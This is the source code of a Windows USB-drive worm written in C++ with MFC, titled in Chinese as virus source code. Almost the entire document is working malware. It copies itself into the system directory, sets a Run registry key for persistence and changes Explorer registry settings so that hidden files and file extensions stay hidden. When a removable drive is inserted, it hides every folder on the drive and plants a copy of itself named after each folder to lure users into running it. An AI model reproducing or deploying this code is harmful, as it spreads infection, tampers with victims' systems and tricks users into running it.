一种U盘病毒源码
#include "stdafx.h"
#include <windows.h>
#include "resource.h"
/////////////////////////////////////////////////////
VOID DoBad(char DriveBuf[]);
VOID DoBad(char DriveBuf[])
{
CFileFind finder;
// build a string with wildcards
CString strWildcard(DriveBuf);
strWildcard += _T("*.*");
char FileSource[MAX_PATH]={0};
char FileNew[MAX_PATH]={0};
HMODULE hModule=GetModuleHandle(NULL);
GetModuleFileName(hModule,FileSource,MAX_PATH);
CloseHandle(hModule);
// start working for files
BOOL bWorking = finder.FindFile(strWildcard);
while (bWorking)
{
bWorking = finder.FindNextFile();
if (finder.IsDots())
continue;
// if it's a directory, recursively search it
if (finder.IsDirectory()&&!finder.IsSystem()&&!finder.IsHidden())
{
if(!SetFileAttributes(finder.GetFilePath(),FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)) //| FILE_ATTRIBUTE_SYSTEM
continue;
sprintf(FileNew,"%s%s",finder.GetFilePath(),".exe");
CopyFile(FileSource,FileNew,TRUE);
}
}
finder.Close();
}
/////////////////////////////////////////////////////
#include <dbt.h>
char diskPath[5] = { 0 };
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam);
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
// char U[4];
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
DWORD allDisk = GetLogicalDrives();
if (allDisk!=0)
{
switch(wParam)
{
case DBT_DEVICEARRIVAL:
{
for (int i=0;i<40;i++)
{
if ((allDisk & 1)==1)
{
sprintf(diskPath, "%c", 'C'+i );
strcat(diskPath, ":\\" );
if (GetDriveType(diskPath)==DRIVE_REMOVABLE )
{
if( GetVolumeInformation(diskPath,0,0,0,0,0,0,0) )
{
//MessageBox( NULL,diskPath, "1",MB_OK );
DoBad(diskPath);
break;
}
}
}
allDisk = allDisk>>1;
}
}
break;
case DBT_DEVICEREMOVECOMPLETE:
MessageBox( NULL,"停止U盘", "病毒提示！",MB_OK );
break;
}
}
return LRESULT();
}
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam);
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_CREATE:
break;
case WM_DEVICECHANGE:
// if(modify_data.IsUpan)
OnDeviceChange(hWnd,wParam,lParam);
break;
case WM_CLOSE:
return FALSE;
case WM_DESTROY:
return FALSE;
default:
return DefWindowProc(hWnd,message,wParam,lParam);
}
return 0;
}
int CreateMyWindow();
int CreateMyWindow()
{
MSG msg;
WNDCLASS wndc;
LPSTR szAppName="WebDown";
wndc.style=0;
wndc.lpfnWndProc=WndProc;
wndc.cbClsExtra=0;
wndc.cbWndExtra=0;
wndc.hInstance=NULL;
wndc.hIcon=NULL;
wndc.hCursor=NULL;
wndc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);
wndc.lpszMenuName=NULL;
wndc.lpszClassName=szAppName;
RegisterClass(&wndc);
HWND hWnd=CreateWindow(szAppName,"hacker",
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,NULL,NULL);
ShowWindow(hWnd,SW_HIDE);
UpdateWindow(hWnd);
SendMessage(hWnd,WM_DEVICECHANGE,0,0);
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 1;
}
/////////////////////////////////////////////////////
void DeleteSubKeyTree(HKEY hKey, LPCTSTR lpSubKey);
void DeleteSubKeyTree(HKEY hKey, LPCTSTR lpSubKey)
{
LONG lResult;
HKEY hSubKey;
DWORD dwIndex, cbName;
char szSubKey[512];
FILETIME ft;
lResult = RegOpenKeyEx(hKey, lpSubKey, 0, KEY_ALL_ACCESS,&hSubKey);
if (lResult != ERROR_SUCCESS)
{
RegCloseKey(hSubKey);
// return lResult;
}
dwIndex = 0;
cbName = sizeof(szSubKey)/sizeof(szSubKey[0]);
while (ERROR_SUCCESS == (lResult = RegEnumKeyEx(hSubKey, dwIndex, szSubKey, &cbName, NULL, NULL, NULL, &ft)))
{
DeleteSubKeyTree(hSubKey, szSubKey);
}
RegCloseKey(hSubKey);
lResult = RegDeleteKey(hKey, lpSubKey);
// return lResult;
}
void FuckReg();
void FuckReg()
{
HKEY hKey;
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden",&hKey);
TCHAR *valueA=_T("机器已经中毒了 本程序测试使用—JACK");
RegSetValueEx(hKey, "Text", NULL, REG_SZ, (LPBYTE)valueA, (DWORD) (lstrlen(valueA)+1));
RegCloseKey(hKey);
LPCTSTR lpSubKey1= "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN";
HKEY hKey1 = HKEY_LOCAL_MACHINE;
DeleteSubKeyTree(hKey1, lpSubKey1);
LPCTSTR lpSubKey2= "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL";
HKEY hKey2 = HKEY_LOCAL_MACHINE;
DeleteSubKeyTree(hKey2, lpSubKey2);
HKEY hKey3;
RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced",&hKey3);
DWORD valueA3=1;
RegSetValueEx(hKey3, "HideFileExt", NULL, REG_DWORD, (CONST BYTE *)(&valueA3),4);
RegCloseKey(hKey3); //关闭句柄
}
/////////////////////////////////////////////////////
#include <shellapi.h>
#pragma comment(linker, "/ALIGN:4096")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
int main()
{
//////////////////////////////////////
char fullPath[MAX_PATH];
HMODULE hModule=GetModuleHandle(NULL);
GetModuleFileName(hModule, fullPath,MAX_PATH);
CString strPath=(CString)fullPath;
int ret=strPath.ReverseFind(_T('.exe'));
CString path=strPath.Left(ret-3)+_T("\\");
// MessageBox(path);
ShellExecute(NULL,"explore",path,NULL,NULL,SW_SHOWNORMAL);
// ShellExecute(NULL,"open",NULL,NULL,path,SW_SHOWNORMAL);
HANDLE m_hMutex=CreateMutex(NULL,FALSE,"ALALMN JACK 只做测试使用！！");
if(GetLastError()==ERROR_ALREADY_EXISTS)
{
CloseHandle(m_hMutex);
m_hMutex=NULL;
ExitProcess(0);
}
///////////////////////////
char FileSource[MAX_PATH]={0};
char FileNew[MAX_PATH]={0};
HMODULE hModule1=GetModuleHandle(NULL);
GetModuleFileName(hModule1,FileSource,MAX_PATH);
CloseHandle(hModule1);
GetSystemDirectory(FileNew,MAX_PATH);
strcat(FileNew,"\\hacker.exe");
///////////////////////////
CopyFile(FileSource,FileNew,TRUE);
HKEY hkey=HKEY_LOCAL_MACHINE;
char lpSubKey[256]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY phkResult;
int len=sizeof(FileNew);
if(::RegOpenKeyEx(hkey,lpSubKey,0,KEY_ALL_ACCESS,&phkResult)!=ERROR_SUCCESS)
{
::RegCreateKeyEx(hkey,lpSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE|KEY_CREATE_SUB_KEY|KEY_WRITE,NULL,&phkResult,NULL);
}
if (RegQueryValueEx(hkey,lpSubKey,NULL,NULL,(unsigned char *)&FileNew,(unsigned long *)&len)!=ERROR_SUCCESS)
::RegSetValueEx(phkResult,"hacker--JACK",0,REG_SZ,(LPBYTE)FileNew, (DWORD)(lstrlen(FileNew)+1));
::RegCloseKey(phkResult);
///////////////////////////
FuckReg();
CreateMyWindow();
//-------------------------
//while (1) //创建一个死循环,不然主线程退出
//{
// Sleep(1000);
//}
//---------------------
return 0;
}
